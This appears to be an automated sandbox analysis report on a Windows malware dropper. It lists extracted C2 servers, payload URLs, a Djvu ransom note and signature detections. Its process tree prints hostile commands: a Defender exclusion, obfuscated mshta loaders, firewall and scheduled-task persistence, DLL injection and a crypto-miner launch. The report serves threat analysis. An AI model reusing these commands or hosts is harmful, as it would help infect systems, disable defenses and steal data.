Resubmissions
06-09-2022 14:31
220906-rv2npsedc2 1006-09-2022 13:58
220906-q94wyadhg2 1006-09-2022 13:49
220906-q4saysdgf9 1005-09-2022 12:24
220905-plkbysbee8 1005-09-2022 12:20
220905-phwwksbdh7 10Analysis
-
max time kernel
1800s -
max time network
1803s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
-
submitted
06-09-2022 14:31
General
-
Target
01a53007f9b19d8ae4f12cc75bafcbef064f75d3a4b31b347b334a2d30558d68.exe
-
Size
3.3MB
-
MD5
b5b1415b3890d0108ac53acd595497b9
-
SHA1
876eb8e34ecb3c1fea20e2c6b710346676ad2de2
-
SHA256
01a53007f9b19d8ae4f12cc75bafcbef064f75d3a4b31b347b334a2d30558d68
-
SHA512
fe58023cba73deac0229cd45b73227e5d1c1f6760f3f053dbcdb4f388d6234940985f57ab8ffc73c4e8eff4bf3a2ef956cd44bdcdd66c44c1cc1ea86e335e4d0
-
SSDEEP
49152:xcB4EwJ84vLRaBtIl9mVHZ7PhEKQ9F6ZGZ9kLvlEEXArNC6XlruK1JJecwJpVz+K:xKCvLUBsg575Uwg9CvD969D1zecwlTWM
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://microsoftdownload.ddns.net:8808/downloader/WinSecurityUpdate
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://microsoftdownload.ddns.net:8808/downloader/WinSecurityUpdate
Extracted
Path
C:\_readme.txt
Family
djvu
Ransom Note
ATTENTION!
Don't worry, you can return all your files!
All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.
The only method of recovering files is to purchase decrypt tool and unique key for you.
This software will decrypt all your encrypted files.
What guarantees you have?
You can send one of your encrypted file from your PC and we decrypt it for free.
But we can decrypt only 1 file for free. File must not contain valuable information.
You can get and look video overview decrypt tool:
https://we.tl/t-6g0MALAb7E
Price of private key and decrypt software is $980.
Discount 50% available if you contact us first 72 hours, that's price for you is $490.
Please note that you'll never restore your data without payment.
Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.
To get this software you need write on our e-mail:
support@bestyourmail.ch
Reserve e-mail address to contact us:
datarestorehelp@airmail.cc
Your personal ID:
0553ooTsdvpVZvpsta2vAQHAmvXG2nq8TIaLEYYWzOadCWjX
Emails
support@bestyourmail.ch
datarestorehelp@airmail.cc
URLs
https://we.tl/t-6g0MALAb7E
Extracted
Family
privateloader
C2
http://45.133.1.107/server.txt
pastebin.com/raw/A7dSG1te
http://wfsdragon.ru/api/setStats.php
51.178.186.149
http://91.241.19.125/pub.php?pub=one
http://sarfoods.com/index.php
Attributes
-
payload_url
https://cdn.discordapp.com/attachments/1003879548242374749/1003976870611669043/NiceProcessX64.bmp
https://cdn.discordapp.com/attachments/1003879548242374749/1003976754358124554/NiceProcessX32.bmp
https://cdn.discordapp.com/attachments/910842184708792331/931507465563045909/dingo_20220114120058.bmp
https://c.xyzgamec.com/userdown/2202/random.exe
http://193.56.146.76/Proxytest.exe
http://www.yzsyjyjh.com/askhelp23/askinstall23.exe
http://privacy-tools-for-you-780.com/downloads/toolspab3.exe
http://luminati-china.xyz/aman/casper2.exe
https://innovicservice.net/assets/vendor/counterup/RobCleanerInstlr95038215.exe
http://tg8.cllgxx.com/hp8/g1/yrpp1047.exe
https://cdn.discordapp.com/attachments/910842184708792331/930849718240698368/Roll.bmp
https://cdn.discordapp.com/attachments/910842184708792331/930850766787330068/real1201.bmp
https://cdn.discordapp.com/attachments/910842184708792331/930882959131693096/Installer.bmp
http://185.215.113.208/ferrari.exe
https://cdn.discordapp.com/attachments/910842184708792331/931233371110141962/LingeringsAntiphon.bmp
https://cdn.discordapp.com/attachments/910842184708792331/931285223709225071/russ.bmp
https://cdn.discordapp.com/attachments/910842184708792331/932720393201016842/filinnn.bmp
https://cdn.discordapp.com/attachments/910842184708792331/933436611427979305/build20k.bmp
https://c.xyzgamec.com/userdown/2202/random.exe
http://mnbuiy.pw/adsli/note8876.exe
http://www.yzsyjyjh.com/askhelp23/askinstall23.exe
http://luminati-china.xyz/aman/casper2.exe
https://suprimax.vet.br/css/fonts/OneCleanerInst942914.exe
http://tg8.cllgxx.com/hp8/g1/ssaa1047.exe
https://www.deezloader.app/files/Deezloader_Remix_Installer_64_bit_4.3.0_Setup.exe
https://www.deezloader.app/files/Deezloader_Remix_Installer_32_bit_4.3.0_Setup.exe
https://cdn.discordapp.com/attachments/910281601559167006/911516400005296219/anyname.exe
https://cdn.discordapp.com/attachments/910281601559167006/911516894660530226/PBsecond.exe
https://cdn.discordapp.com/attachments/910842184708792331/914047763304550410/Xpadder.bmp
Extracted
Family
redline
Botnet
media12
C2
91.121.67.60:2151
Attributes
-
auth_value
e37d5065561884bb54c8ed1baa6de446
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Attributes
-
auth_value
9491a1c5e11eb6097e68a4fa8627fda8
Extracted
Family
redline
Botnet
nam6.1
C2
103.89.90.61:34589
Attributes
-
auth_value
5a3c8b8880f6d03e2acaaa0ba12776e3
Extracted
Family
redline
Botnet
@forceddd_lzt
C2
5.182.36.101:31305
Attributes
-
auth_value
91ffc3d776bc56b5c410d1adf5648512
Extracted
Family
djvu
C2
http://acacaca.org/test3/get.php
Attributes
-
extension
.oovb
-
offline_id
6GXhR4uyHH9NXT2qot14T0HeNSviNKH0Q6PGVNt1
-
payload_url
http://rgyui.top/dl/build2.exe
http://acacaca.org/files/1/build3.exe
-
ransomnote
ATTENTION! Don't worry, you can return all your files! All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key. The only method of recovering files is to purchase decrypt tool and unique key for you. This software will decrypt all your encrypted files. What guarantees you have? You can send one of your encrypted file from your PC and we decrypt it for free. But we can decrypt only 1 file for free. File must not contain valuable information. You can get and look video overview decrypt tool: https://we.tl/t-6g0MALAb7E Price of private key and decrypt software is $980. Discount 50% available if you contact us first 72 hours, that's price for you is $490. Please note that you'll never restore your data without payment. Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours. To get this software you need write on our e-mail: support@bestyourmail.ch Reserve e-mail address to contact us: datarestorehelp@airmail.cc Your personal ID: 0552Jhyjd
rsa_pubkey.plain
Extracted
Family
redline
Botnet
3108_RUZKI
C2
213.219.247.199:9452
Attributes
-
auth_value
f71fed1cd094e4e1eb7ad1c53e542bca
Signatures
-
DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
-
Detected Djvu ransomware 3 IoCs
-
Detects Smokeloader packer 2 IoCs
-
Djvu Ransomware
Ransomware which is a variant of the STOP family.
-
Glupteba
Glupteba is a modular loader written in Golang with various components.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs 14 IoCs
-
OnlyLogger
A tiny loader that uses IPLogger to get its payload.
-
PrivateLoader
PrivateLoader is a downloader sold as a pay-per-install malware distribution service.
-
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 7 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
-
OnlyLogger payload 3 IoCs
-
ASPack v2.12-2.42 7 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 5 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 3 IoCs
-
Executes dropped EXE 64 IoCs
-
Modifies Windows Firewall 1 TTPs 3 IoCs
-
Modifies extensions of user files 15 IoCs
Ransomware generally changes the extension on encrypted files.
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 26 IoCs
Looks up country code configured in the registry, likely geofence.
-
Drops startup file 1 IoCs
-
Loads dropped DLL 55 IoCs
-
Modifies file permissions 1 TTPs 1 IoCs
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unexpected DNS network traffic destination 64 IoCs
Network traffic to other servers than the configured DNS servers was detected on the DNS port.
-
Uses the VBS compiler for execution 1 TTPs
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 10 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Drops Chrome extension 2 IoCs
-
Drops desktop.ini file(s) 1 IoCs
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 54 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Drops file in System32 directory 31 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 23 IoCs
-
Drops file in Program Files directory 26 IoCs
-
Drops file in Windows directory 10 IoCs
-
Launches sc.exe 2 IoCs
Sc.exe is a Windows utlilty to control services on the system.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 49 IoCs
-
Checks SCSI registry key(s) 3 TTPs 33 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 15 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 1 IoCs
-
Enumerates processes with tasklist 1 TTPs 2 IoCs
-
Enumerates system info in registry 2 TTPs 7 IoCs
-
Kills process with taskkill 6 IoCs
-
Modifies Internet Explorer settings 1 TTPs 4 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 5 IoCs
-
Modifies registry key 1 TTPs 1 IoCs
-
Runs ping.exe 1 TTPs 2 IoCs
-
Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 3 IoCs
-
Suspicious behavior: MapViewOfSection 64 IoCs
-
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 54 IoCs
-
Suspicious use of SendNotifyMessage 28 IoCs
-
Suspicious use of SetWindowsHookEx 7 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\01a53007f9b19d8ae4f12cc75bafcbef064f75d3a4b31b347b334a2d30558d68.exe"C:\Users\Admin\AppData\Local\Temp\01a53007f9b19d8ae4f12cc75bafcbef064f75d3a4b31b347b334a2d30558d68.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\setup_install.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon23c24f1baea.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23c24f1baea.exeMon23c24f1baea.exe4⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2318d827d83a07bf.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exeMon2318d827d83a07bf.exe4⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )5⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2318d827d83a07bf.exe" ) do taskkill /F -Im "%~NxU"6⤵
-
C:\Users\Admin\AppData\Local\Temp\09xU.exE09xU.EXE -pPtzyIkqLZoCarb5ew7⤵
- Executes dropped EXE
- Checks computer location settings
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )8⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )8⤵
- Checks computer location settings
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I9⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" eCHO "10⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"10⤵
-
C:\Windows\SysWOW64\control.execontrol .\R6f7sE.I10⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I11⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I13⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\taskkill.exetaskkill /F -Im "Mon2318d827d83a07bf.exe"7⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon2391a8f2e1f6314.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon2391a8f2e1f6314.exeMon2391a8f2e1f6314.exe4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon233667d8bdfd05a68.exe /mixone3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon233667d8bdfd05a68.exeMon233667d8bdfd05a68.exe /mixone4⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6245⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6405⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 7485⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 7685⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6765⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 8125⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 10645⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 10725⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 11205⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 8805⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 8005⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6325⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6245⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6525⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6205⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3504 -s 6325⤵
- Program crash
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon23c5eb411df3ff0.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23c5eb411df3ff0.exeMon23c5eb411df3ff0.exe4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23c5eb411df3ff0.exeC:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23c5eb411df3ff0.exe5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23c5eb411df3ff0.exeC:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23c5eb411df3ff0.exe5⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Mon23088eab157af.exe3⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zSC5F9D036\Mon23088eab157af.exeMon23088eab157af.exe4⤵
- Modifies Windows Defender Real-time Protection settings
- Executes dropped EXE
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\JGHVKF3EBWBSO2G39R4xNait.exe"C:\Users\Admin\Pictures\Adobe Films\JGHVKF3EBWBSO2G39R4xNait.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C start C:\Windows\Temp\10.exe6⤵
-
C:\Windows\Temp\10.exeC:\Windows\Temp\10.exe7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Temp\10.exe"C:\Windows\Temp\10.exe"8⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Roaming\MSEdge\msedge.exe9⤵
-
C:\Users\Admin\AppData\Roaming\MSEdge\msedge.exeC:\Users\Admin\AppData\Roaming\MSEdge\msedge.exe10⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Roaming\MSEdge\svchost.exe-pool us-eth.2miners.com:2020 -wal 0x298a98736156cdffdfaf4580afc4966904f1e12e -worker ferma -epsw x -mode 1 -log 0 -mport 0 -etha 0 -ftime 55 -retrydelay 1 -coin eth11⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Local\Temp\6230JM48EB85C2F.exe"C:\Users\Admin\AppData\Local\Temp\6230JM48EB85C2F.exe"9⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C start C:\Windows\Temp\Lyla.05.09.exe10⤵
-
C:\Windows\Temp\Lyla.05.09.exeC:\Windows\Temp\Lyla.05.09.exe11⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\J25EM5KGHHFG58M.exe"C:\Users\Admin\AppData\Local\Temp\J25EM5KGHHFG58M.exe"9⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /C start C:\Windows\Temp\xsv.exe10⤵
-
C:\Windows\Temp\xsv.exeC:\Windows\Temp\xsv.exe11⤵
- Executes dropped EXE
- Adds Run key to start application
-
C:\Users\Admin\AppData\Local\Temp\124H29FG87E2FCI.exe"C:\Users\Admin\AppData\Local\Temp\124H29FG87E2FCI.exe"9⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\cZFJ.CPl",10⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\cZFJ.CPl",11⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\cZFJ.CPl",12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\cZFJ.CPl",13⤵
- Loads dropped DLL
-
C:\Users\Admin\AppData\Local\Temp\D227AG76K9EIA6D.exehttps://iplogger.org/1x5az79⤵
- Executes dropped EXE
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\RC706sfuDJO3C4EJgpHL40sz.exe"C:\Users\Admin\Pictures\Adobe Films\RC706sfuDJO3C4EJgpHL40sz.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4796 -s 548166⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\qNmQEuwf5IArby6bD1MZfm_L.exe"C:\Users\Admin\Pictures\Adobe Films\qNmQEuwf5IArby6bD1MZfm_L.exe"5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe"C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe"C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe"6⤵
- Executes dropped EXE
- Checks computer location settings
- Adds Run key to start application
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Users\Admin\AppData\Local\e89aafb8-7fa0-495e-bfb1-85240d127cac" /deny *S-1-1-0:(OI)(CI)(DE,DC)7⤵
- Modifies file permissions
-
C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe"C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe" --Admin IsNotAutoStart IsNotTask7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe"C:\Users\Admin\Pictures\Adobe Films\SESODZtkbfQUO4dyO2s608zh.exe" --Admin IsNotAutoStart IsNotTask8⤵
- Modifies extensions of user files
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\a216900d-8c6c-40b7-a141-83d6cbbbf830\build2.exe"C:\Users\Admin\AppData\Local\a216900d-8c6c-40b7-a141-83d6cbbbf830\build2.exe"9⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\a216900d-8c6c-40b7-a141-83d6cbbbf830\build2.exe"C:\Users\Admin\AppData\Local\a216900d-8c6c-40b7-a141-83d6cbbbf830\build2.exe"10⤵
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 31828 -s 186011⤵
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\MLRhEbV3ENIwZ6r9JN610J6z.exe"C:\Users\Admin\Pictures\Adobe Films\MLRhEbV3ENIwZ6r9JN610J6z.exe"5⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies registry class
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",6⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",7⤵
- Loads dropped DLL
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",8⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\p5_~IIq.cpL",9⤵
-
C:\Users\Admin\Pictures\Adobe Films\pLugtB4zUr_LA9KXrnrF2M54.exe"C:\Users\Admin\Pictures\Adobe Films\pLugtB4zUr_LA9KXrnrF2M54.exe"5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\RegAsm.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\tltDc2_E7Vmo82iPfKBbySGd.exe"C:\Users\Admin\Pictures\Adobe Films\tltDc2_E7Vmo82iPfKBbySGd.exe"5⤵
- Executes dropped EXE
-
C:\Users\Admin\Pictures\Adobe Films\tltDc2_E7Vmo82iPfKBbySGd.exe"C:\Users\Admin\Pictures\Adobe Films\tltDc2_E7Vmo82iPfKBbySGd.exe"6⤵
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"7⤵
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes8⤵
- Modifies Windows Firewall
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe7⤵
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Windows directory
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F8⤵
- Creates scheduled task(s)
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /delete /tn ScheduledUpdate /f8⤵
-
C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exeC:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll8⤵
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F8⤵
- Creates scheduled task(s)
-
